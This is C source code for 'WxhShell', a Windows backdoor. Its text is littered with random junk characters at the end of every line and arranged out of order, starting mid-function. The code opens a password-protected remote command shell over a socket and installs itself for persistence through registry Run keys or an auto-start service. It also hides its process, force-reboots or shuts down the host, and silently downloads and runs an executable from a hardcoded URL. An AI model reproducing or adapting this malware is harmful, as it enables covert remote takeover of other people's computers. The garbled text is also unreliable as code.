    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~}_S]^br  
    else { Sa-" G`  
    closesocket(wsh); F AQx8P  
    ExitThread(0); k?}y@$[)  
    } l(pP*2  
    break; 6`@6k2]  
    } 5FVmk5z]d  
  // 获取shell q:1n=i Ei  
  case 's': { pK"iTc#\X  
    CmdShell(wsh); @x^/X8c(p  
    closesocket(wsh); ro+8d  
    ExitThread(0); uO((Mg  
    break; O!'gylj/  
  } {Ia1Wd8n  
  // 退出 zWrynJ}s  
  case 'x': { 'Yaq; mDY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V$_.&S?(Y  
    CloseIt(wsh); X"V)oC  
    break; q8)w Al  
    } o]eG+i6g]  
  // 离开 C{G;G@/7  
  case 'q': { Byh!Snoe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dG!)<  
    closesocket(wsh); dbg%n 0h  
    WSACleanup(); .:t&LC][  
    exit(1); R_=fH\c;  
    break; _ mgu r  
        } p@?ud%  
  } *Oq& g\K)  
  } F;MACu;x  
kZ0z]Y  
  // 提示信息 Ekn3ODz,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?r}2JHvN  
} ( m7qc  
  } :<H4hYt2  
VFK]{!C_  
  return; Q yhu=_&  
} T5-Yqz  
pI1g<pe  
// shell模块句柄 `NQ;|!  
int CmdShell(SOCKET sock) ,E8g~ZUY9  
{ mMT\"bb'  
STARTUPINFO si; ba)hWtenH  
ZeroMemory(&si,sizeof(si)); DB0?H+8t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gX`C76P!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s w50lId  
PROCESS_INFORMATION ProcessInfo; YlXqj\a  
char cmdline[]="cmd"; tlYB'8bJY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N+vsQ!Qz  
  return 0; z2jS(N?J1  
} xxG>Leml  
"g/UpnH  
// 自身启动模式 K."W/A!  
int StartFromService(void) |9[)-C~N7  
{ 4j(*%da  
typedef struct 5^{I}Q  
{ <.{OIIuk  
  DWORD ExitStatus; T[-Tqi NT  
  DWORD PebBaseAddress; $,o@&QT?AT  
  DWORD AffinityMask; v <m=g!  
  DWORD BasePriority; sRQ4pnnrn  
  ULONG UniqueProcessId; +.v+Opp,  
  ULONG InheritedFromUniqueProcessId; Pk6_1LV  
}   PROCESS_BASIC_INFORMATION; paUJq?Af  
zhh6;>P  
PROCNTQSIP NtQueryInformationProcess; )"g @"LJ=  
?z3|^oU~d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U^Iq]L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y2|c;1~5$  
sfp.>bMj  
  HANDLE             hProcess; 9Qq%Fw_  
  PROCESS_BASIC_INFORMATION pbi; Icx)+Mq  
aNgJm~K0P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L?(m5u~b  
  if(NULL == hInst ) return 0; 16"L;r  
k;<F33v;Mh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xv7nChB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XvZ5Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R8|F qBs  
Yez  
  if (!NtQueryInformationProcess) return 0; aW#^@||B  
]sqp^tQ`e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LAGg(:3f3  
  if(!hProcess) return 0; b~?3HY:t~K  
w ; PV &M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A QPzId*z  
_@Y17L.  
  CloseHandle(hProcess); LbnF8tj}h  
fK{Z{)D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^AT#A<{1(  
if(hProcess==NULL) return 0; nIl<2H]F`  
5IP@_GV|  
HMODULE hMod; R+Rb[,m  
char procName[255]; f|,2u5 ;z  
unsigned long cbNeeded; &>Z p}.V  
mFyYn,Mu|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N8Un42  
`nL^]i  
  CloseHandle(hProcess); }b>e lz  
V_9> Z?  
if(strstr(procName,"services")) return 1; // 以服务启动 RohD.`D  
wEEFpn_   
  return 0; // 注册表启动 :Ek3]`q#  
} 'D?sRbJ=  
2'WdH1UrBc  
// 主模块 )J&!>GP  
int StartWxhshell(LPSTR lpCmdLine) {#l@9r%  
{ ?Q6ZZQ~  
  SOCKET wsl; }9?fb[]  
BOOL val=TRUE; .-: 6L2  
  int port=0; {ZgycMS  
  struct sockaddr_in door; 4OdK@+-8U  
Ot3+<{  
  if(wscfg.ws_autoins) Install(); u"zQh|  
BtP*R,>  
port=atoi(lpCmdLine); [,qb) &_  
DO? bJ01  
if(port<=0) port=wscfg.ws_port; =e]Wt/AQ  
1F?ylZ|~  
  WSADATA data; 8;P_KRaE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Mp^U)S+  
nHB`<B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yXA]E.K!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Xqas[:)7+  
  door.sin_family = AF_INET; LiD-su D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (ZEDDV2  
  door.sin_port = htons(port); D"n 3If%  
dUpOg{I.x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B'D 4]EB  
closesocket(wsl); g$S<_$Iey  
return 1; U=UnE"h  
} Xu\22/Co  
LWP&Si*j  
  if(listen(wsl,2) == INVALID_SOCKET) { q8vRUlf  
closesocket(wsl); %suXp,j  
return 1; :aMp,DfM]P  
} 0N3S@l#,\A  
  Wxhshell(wsl); q\87<=9J  
  WSACleanup(); !_[^%7"S1  
J""N:X!1  
return 0; ,_yf5 a  
(?zZvW8  
} lb`2a3W/  
y8\4TjS1  
// 以NT服务方式启动 V~qlg1h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &MF%zJ6  
{ 5P <  F  
DWORD   status = 0; !yX4#J(  
  DWORD   specificError = 0xfffffff; pmi`Er  
mH09* Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %D}]Z=gp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g,cl|]/\d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h3:dO|Z  
  serviceStatus.dwWin32ExitCode     = 0; |CjE }5Op>  
  serviceStatus.dwServiceSpecificExitCode = 0;  W,)qE^+  
  serviceStatus.dwCheckPoint       = 0; 5VPP 2;J  
  serviceStatus.dwWaitHint       = 0; GGchNt  
=9vmRh? 8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~0@+8%^>;  
  if (hServiceStatusHandle==0) return; T1r^.;I:  
Fh$Xcz~i  
status = GetLastError(); ^!>o5Y)  
  if (status!=NO_ERROR) @uI_4a  
{ v:$Y |mh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jP|(y]!  
    serviceStatus.dwCheckPoint       = 0; \muC_9ke  
    serviceStatus.dwWaitHint       = 0; )|@UY(VZ^  
    serviceStatus.dwWin32ExitCode     = status; nxh9'"th  
    serviceStatus.dwServiceSpecificExitCode = specificError;  ~WG#Zci-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p![CH  
    return; Y+I`XeY  
  } e#$ZOK)`  
L1E\^)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s"\o6r ,  
  serviceStatus.dwCheckPoint       = 0; S}cm.,/w  
  serviceStatus.dwWaitHint       = 0; o\YF_235  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *QpKeI  
} I|?Z.!I|  
675x/0}GO  
// 处理NT服务事件,比如:启动、停止 Fu cLcq2Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ju7nvxC  
{ ?#917M  
switch(fdwControl) ;1 02ddRV  
{ (P N!k0Y  
case SERVICE_CONTROL_STOP: `Z0#IeX=  
  serviceStatus.dwWin32ExitCode = 0; ,HdFE|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <C_FI` wk  
  serviceStatus.dwCheckPoint   = 0; #wZ:E,R  
  serviceStatus.dwWaitHint     = 0; K) "cwk-  
  { eqze7EY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \WVrn>%xu  
  } 3 # ua  
  return; (_ElM>  
case SERVICE_CONTROL_PAUSE: fw1g;;E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )d6Ya1vJH  
  break; PDcZno?  
case SERVICE_CONTROL_CONTINUE: 6 4da~SEn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y@Kp'+t(!  
  break; m ,U`hPJ  
case SERVICE_CONTROL_INTERROGATE: @"#W\m8  
  break; 6"W~%FSJX  
}; 43Yav+G(+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'L2M  W  
} }$ Am;%?p  
}GCt)i_  
// 标准应用程序主函数 Oj*3'?<7=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &` u<KKF6  
{ ToN$x^M w  
\Podyh/;?  
// 获取操作系统版本 ^.J F?2T/  
OsIsNt=GetOsVer(); O9k9hRE]z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ODH@ /  
n(b(H`1n  
  // 从命令行安装 ##!) }i  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~o+HAc`=v  
lc=C  
  // 下载执行文件 h+x"?^   
if(wscfg.ws_downexe) { x.+}-(`W#~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #is:6Z,OEU  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8uX1('+T*  
} .sA?}H#wb  
-zd*tujx  
if(!OsIsNt) { ,"u-V<>6O  
// 如果时win9x,隐藏进程并且设置为注册表启动 o~F @1  
HideProc(); i(JBBE"  
StartWxhshell(lpCmdLine); "K z=Z C  
} 4cql?W(D  
else ?s("@dz_  
  if(StartFromService()) v3+ \A q   
  // 以服务方式启动 <m80e),~  
  StartServiceCtrlDispatcher(DispatchTable); H85HL-{  
else x(z[S$6Y\  
  // 普通方式启动 ~3.1. 'A  
  StartWxhshell(lpCmdLine); I#kK! m1Q  
~n84x  
return 0; 0EYK3<k9!  
} S ; x;FU  
z.:{   
JI}(R4uV  
Wr7^  
=========================================== $LZf&q:\]*  
A:EF#2) g  
tZ[Y~],F  
PY.c$)az>  
`av8|;  
8ltHR]v  
" AyKaazm]9  
](vsh gp2  
#include <stdio.h> Z xLjh  
#include <string.h> !=#E/il,  
#include <windows.h> 3C8'0DB  
#include <winsock2.h> rO/mK$  
#include <winsvc.h> lkV% k1w  
#include <urlmon.h> y5.Z<Y  
gO?+:}!  
#pragma comment (lib, "Ws2_32.lib") /b20!3  
#pragma comment (lib, "urlmon.lib") glh2CRUj  
"';'*x  
#define MAX_USER   100 // 最大客户端连接数 z_eP  
#define BUF_SOCK   200 // sock buffer 5,'?NEyw  
#define KEY_BUFF   255 // 输入 buffer 1<^"OjQ  
/J8AnA1  
#define REBOOT     0   // 重启 86~HkHliv  
#define SHUTDOWN   1   // 关机 /!UuGm   
'z2}qJJ)  
#define DEF_PORT   5000 // 监听端口 UnZ*"%  
}.7!@!q.  
#define REG_LEN     16   // 注册表键长度 ( =->rP  
#define SVC_LEN     80   // NT服务名长度 PEoO s  
!J[3U   
// 从dll定义API gy _86y@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8<k0j&~J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R)t"`'6|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @?{n`K7{`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Pv`yOx&nE  
J /'woc  
// wxhshell配置信息 q,2]]K7y  
struct WSCFG { `|i #)  
  int ws_port;         // 监听端口 ` &|Rs  
  char ws_passstr[REG_LEN]; // 口令 nbw&+dcJ8  
  int ws_autoins;       // 安装标记, 1=yes 0=no x$AF0xFO  
  char ws_regname[REG_LEN]; // 注册表键名 qJFBdJU(1  
  char ws_svcname[REG_LEN]; // 服务名 "tUXYY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Nc[>CgX"@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~o%|#-S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6!/e_a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h/`OG>./  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Oe^3YOR#j{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g||{Qmr=1  
SMk{159q&  
}; ?b:J6(-  
{.z2n>1J{T  
// default Wxhshell configuration AShJt xxa  
struct WSCFG wscfg={DEF_PORT, tz&=v,_jc  
    "xuhuanlingzhe", \^?BC;s^C  
    1, *4r 1g+0  
    "Wxhshell", 9">}@1k  
    "Wxhshell", WYwsTsG{_  
            "WxhShell Service", NyJU?^f&v  
    "Wrsky Windows CmdShell Service", Q}W6?XDu  
    "Please Input Your Password: ", 09eS&J<R  
  1, lKI1bs]i  
  "http://www.wrsky.com/wxhshell.exe", 6CLrP} u  
  "Wxhshell.exe" Q0!gTV  
    }; J:'cj5@  
WO)rJr!C  
// 消息定义模块 !~m)_Q5?~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tk<dp7y7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]OM|Oo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 06pLa3oi  
char *msg_ws_ext="\n\rExit."; &m`1lxT  
char *msg_ws_end="\n\rQuit."; "}Ch2K  
char *msg_ws_boot="\n\rReboot..."; A(W%G|+  
char *msg_ws_poff="\n\rShutdown..."; <dD}4c+/t  
char *msg_ws_down="\n\rSave to "; ]o_Z3xXUa  
;) 5d wq  
char *msg_ws_err="\n\rErr!"; X7{ueP#L  
char *msg_ws_ok="\n\rOK!"; #wNksh/J^  
q*Yh_IT.I  
char ExeFile[MAX_PATH]; /P5w}n  
int nUser = 0; a =*(>=  
HANDLE handles[MAX_USER]; NUEy0pLw  
int OsIsNt; OTL=(k  
{~k /xM.-  
SERVICE_STATUS       serviceStatus; bec n$R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $f*N  
ln'7kg  
// 函数声明  ]P(:z  
int Install(void); 3) zanoYHi  
int Uninstall(void); ^u:7U4  
int DownloadFile(char *sURL, SOCKET wsh); A0cC)bd&  
int Boot(int flag); X + *@  
void HideProc(void); m-dne/%_  
int GetOsVer(void); @ _U]U  
int Wxhshell(SOCKET wsl); MJV)| 2C  
void TalkWithClient(void *cs); Iujly f  
int CmdShell(SOCKET sock); ?a7PxD.  
int StartFromService(void); jB:$+k|~.  
int StartWxhshell(LPSTR lpCmdLine); X7?p$!M6;B  
:qc@S&v@]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U GQ{QH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {%9)l,  
vmvk  
// 数据结构和表定义 m7zen530  
SERVICE_TABLE_ENTRY DispatchTable[] = rF2`4j&!  
{ x %L2eXL  
{wscfg.ws_svcname, NTServiceMain}, k8F<j)"  
{NULL, NULL} I0(BKMp&  
}; (8qMF{  
n %"q>  
// 自我安装 >:Na^+c  
int Install(void) Y]P'; C_eP  
{ efy65+~GG  
  char svExeFile[MAX_PATH];  >zFe)  
  HKEY key; `g<@F^x5  
  strcpy(svExeFile,ExeFile); 7u6o~(  
BdG~y1%:  
// 如果是win9x系统,修改注册表设为自启动 "2i{ L '  
if(!OsIsNt) { ZvpcjP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .|JJyjRA+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v98=#k!F  
  RegCloseKey(key);  Mhm3u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fB:9:NX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hq6fDRO/4  
  RegCloseKey(key); 1Zx|SBF  
  return 0; 68Vn]mr#  
    } 6B)(kPW  
  } wV+ W(  
} D!h8NZ;El  
else { B&Q\J>l9S  
`ky< *  
// 如果是NT以上系统,安装为系统服务 %2f``48#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R5g -b2Lm  
if (schSCManager!=0) *&q\)\(3w  
{ WM.JoQ  
  SC_HANDLE schService = CreateService jA$g0>  
  ( KiT>W~  
  schSCManager, ,a eQXI#@  
  wscfg.ws_svcname, 8;ke,x  
  wscfg.ws_svcdisp, 2qo=ud  
  SERVICE_ALL_ACCESS, ~YA* RCe  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \{t#V ~  
  SERVICE_AUTO_START, a*$to/^r  
  SERVICE_ERROR_NORMAL, `utv@9 _z  
  svExeFile, k<Z^93 S  
  NULL, @*]l.F   
  NULL, )XmV3.rI  
  NULL, }&I\a  
  NULL, ]>E*s3h  
  NULL nT..+ J)  
  ); rmu5K$pl  
  if (schService!=0) p @&>{hi@  
  { _G|hKk^,  
  CloseServiceHandle(schService); 6v (}<2~  
  CloseServiceHandle(schSCManager); 9 [v=`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X^ckTIdR  
  strcat(svExeFile,wscfg.ws_svcname); 8W#/=Xh?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?:vp3f#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9un]}7^  
  RegCloseKey(key); hEi]-N\X  
  return 0; 'iA#lKG  
    } GwQW I ]  
  } k__iJsk  
  CloseServiceHandle(schSCManager); XAwo ~E  
} oG M Ls  
} A-^[4&rb  
Q1jU{  
return 1; Ig}G"GR  
} T6h-E^Z  
."&,_F  
// 自我卸载 id<i|  
int Uninstall(void) lPx4=O  
{ /ts=DxCC;  
  HKEY key; 11[[Hk X@  
7zXFQ|TP  
if(!OsIsNt) { v#0F1a?]D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8^\}\@  
  RegDeleteValue(key,wscfg.ws_regname); :i_818h!?[  
  RegCloseKey(key); 4e~^G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u.sF/T=6f  
  RegDeleteValue(key,wscfg.ws_regname); T]Z|Wq`bot  
  RegCloseKey(key); s:3 altv  
  return 0; #"-?+F=rk  
  } "[2CV!_  
} l*>t@:2J  
} 'KB\K)cD=3  
else { 6w(Mb~[n  
+KgoLa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZUP\)[~  
if (schSCManager!=0) Ko_Sx.  
{ '?=SnjMX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L9Sd4L_e  
  if (schService!=0) r8g4NsRVtv  
  { ;iR( Ir  
  if(DeleteService(schService)!=0) { RO[Ko-m|/N  
  CloseServiceHandle(schService); J ^gtSn^  
  CloseServiceHandle(schSCManager); $&~/`MxE  
  return 0; _G%]d$2f`  
  } EBlfwFd  
  CloseServiceHandle(schService); W&CQ87b  
  } <k?ofE1o  
  CloseServiceHandle(schSCManager); b~fX=!M  
} ]x1MB|a6  
} W,"|([t4.\  
9zSHn.y  
return 1; CT,caa  
} DP\s-JpI[  
?T=] ?[  
// 从指定url下载文件 !+T\}1f7d  
int DownloadFile(char *sURL, SOCKET wsh) OLh`R]Sd  
{ |$"2R3  
  HRESULT hr; n X4R  
char seps[]= "/"; S$J}>a#Ry  
char *token; $* 1?"$LN  
char *file; RapHE; <  
char myURL[MAX_PATH]; F}3<q   
char myFILE[MAX_PATH]; !`=ms1%U  
e9e%8hL  
strcpy(myURL,sURL); KiW4>@tY  
  token=strtok(myURL,seps); *z[G+JX  
  while(token!=NULL) XndGe=O  
  { >2h|$6iWP  
    file=token; X8~dFjhX  
  token=strtok(NULL,seps); *uHL'Pe;m  
  } uo0g51%9  
,: g.B\'Q  
GetCurrentDirectory(MAX_PATH,myFILE); $$ %4,\{l  
strcat(myFILE, "\\"); y_O[r1MF  
strcat(myFILE, file); j !^Tw.Ty  
  send(wsh,myFILE,strlen(myFILE),0); {Hncm  
send(wsh,"...",3,0);  :VwU2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x g=}MoX  
  if(hr==S_OK) 2VmQ%y6e"  
return 0; =B4,H=7Spf  
else HUqG)t*c1  
return 1; OQzJRu)mF#  
F*V<L   
} <!b~7sZkTc  
RtVy^~=G  
// 系统电源模块 r /v'h@  
int Boot(int flag) <;O=h; ~|  
{ ]=\Mf<  
  HANDLE hToken; m|q?gX9R  
  TOKEN_PRIVILEGES tkp; +./c=o/v  
~RcI+jR)  
  if(OsIsNt) { 5/x"!Jk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Rs+rlJq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p@epl|IZp  
    tkp.PrivilegeCount = 1; VBc[(8o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eduaG,+k7p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \#4??@+Xf  
if(flag==REBOOT) { Eu/~4:XN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6k6M&a  
  return 0; / hUuQDJ  
} $=dp)  
else { V]b1cDx{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rZRcy9$y>  
  return 0; eXJt9olI  
} >! +.M9  
  } xlPUu m-o  
  else { 3:Bwf)*  
if(flag==REBOOT) {  !sda6?&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }e3M5LI1L  
  return 0; .C^1.)  
} &`>[4D*  
else { e$F]t *)Xa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z;1y7W!v  
  return 0; =Y`P}vI]w%  
} |8I #`  
} 8r '  
.DSn H6O  
return 1; Zgp]s+%E  
} [6x-c;H_4  
rkhQoYZ[  
// win9x进程隐藏模块 dz/' m7  
void HideProc(void) @|Z:7n6S  
{ :xw2\:5~0  
[?3*/*V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 34VyR a  
  if ( hKernel != NULL ) -q7A\8C  
  { 4R!A.N9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WelB+P2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hoxn!x$?  
    FreeLibrary(hKernel); $ tf;\R  
  } _`lj 3Lm0>  
[vki^M5i|Z  
return; ?]%JQ]Gf*  
} F-}-/N]o q  
:LRR\v0HM  
// 获取操作系统版本 TJ(PTB;  
int GetOsVer(void) `x:znp}'  
{ Oq"(oNG@  
  OSVERSIONINFO winfo; j0J}d _  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VlKy6PSIg  
  GetVersionEx(&winfo); ||v=in   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2mL1BG=Yk  
  return 1; }qfr&Ffh@  
  else 8Ml&lfn_8  
  return 0; 'Z2:u!E  
} Dd|}LV  
g-'y_'%0G  
// 客户端句柄模块 zx^]3}  
int Wxhshell(SOCKET wsl) jB }O6u[%  
{ &d`T~fl|  
  SOCKET wsh; 0 eZfHW&  
  struct sockaddr_in client; 0z?b5D;  
  DWORD myID; ^}; 4r  
0?uX}8w  
  while(nUser<MAX_USER) XfA3Ez,}  
{ zM6 yUEg  
  int nSize=sizeof(client); 3_=~7B) 8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CCKg,v  
  if(wsh==INVALID_SOCKET) return 1; WtI1h`Fo  
H3{x; {.b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :QgC Zq  
if(handles[nUser]==0) ~45u a  
  closesocket(wsh); E#"QaI8`  
else \C.%S +u  
  nUser++; 1A^iUC5)  
  } 9dA(f~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .lu:S;JSnS  
q0WW^jwQ  
  return 0; )gdv!  
} || ?B1  
Ab7hW(/  
// 关闭 socket / uI/8>p(  
void CloseIt(SOCKET wsh) b~06-dk1  
{ }@yvw*c  
closesocket(wsh); KsYT3  
nUser--; zO{$kT\r&  
ExitThread(0); %sC,;^wla'  
}  d$ Mk  
ezTu1-m  
// 客户端请求句柄 mFayU w  
void TalkWithClient(void *cs) ]i*q*]x2u  
{ @_YEK3l]l  
zF /}s_><*  
  SOCKET wsh=(SOCKET)cs; [i[G" %Q  
  char pwd[SVC_LEN]; vZ 4Z+;.  
  char cmd[KEY_BUFF]; 4zghM<  
char chr[1]; jIE>t5 fy  
int i,j; k Fv\V   
7UHqiA`L  
  while (nUser < MAX_USER) { ?97MW a   
DGY#pnCu  
if(wscfg.ws_passstr) { q?z6|]M|u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $n `Zvl2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qpd-uC_Ni  
  //ZeroMemory(pwd,KEY_BUFF); yp5*8g5  
      i=0; }7hpx!s,  
  while(i<SVC_LEN) { j5z, l  
*F:]mgg  
  // 设置超时 :w_F<2d0 0  
  fd_set FdRead; !boKrSw  
  struct timeval TimeOut; 9CJUOB>]  
  FD_ZERO(&FdRead); $o\p["DP  
  FD_SET(wsh,&FdRead); fEs957$  
  TimeOut.tv_sec=8; `'Ta=kd3  
  TimeOut.tv_usec=0; ;t%L (J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |PH]0.m5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !~UI~-i'  
OfTcF_%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xmKa8']x  
  pwd=chr[0]; yG&kP:k<  
  if(chr[0]==0xd || chr[0]==0xa) { S "oUE_>  
  pwd=0; <6/XE@"   
  break; q<>2}[W  
  } UEo,:zeN[  
  i++; }SitT\%  
    } w%S<N  
}=A6Jv(j  
  // 如果是非法用户,关闭 socket T.ub! ,Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :&yRvu  
} !Go(8`>  
VK`_ Qc#B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W3UK[_qK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `m<="No  
6AUzS4O  
while(1) { I#eIm3Y?  
R,Zuy( g  
  ZeroMemory(cmd,KEY_BUFF); hD<z^j+  
?d+B]VYw  
      // 自动支持客户端 telnet标准   6?*iIA$b  
  j=0; ]p'Qk  
  while(j<KEY_BUFF) { N["c*=x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZfT%EPoZ:  
  cmd[j]=chr[0]; -Qnnzp$]  
  if(chr[0]==0xa || chr[0]==0xd) { nWFp$tJ/R  
  cmd[j]=0; mMN oR]  
  break; :^%s oEi  
  } I-/PzL<W P  
  j++; y=h2_jt  
    } _Fl]zs<  
pE `Q4:<A  
  // 下载文件 6$PfX.Fh  
  if(strstr(cmd,"http://")) { OD\x1,E)I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CyG@  
  if(DownloadFile(cmd,wsh)) w**.8]A"N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >qtB27jV  
  else _?G\^^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D{N1.rSxv  
  } Rp`}"x9  
  else { P]Gsc  
*\VQ%_wg  
    switch(cmd[0]) { o\|dm. "f  
  Dj!J 4uD  
  // 帮助 YY7:WQS  
  case '?': { !&Q,]\j  
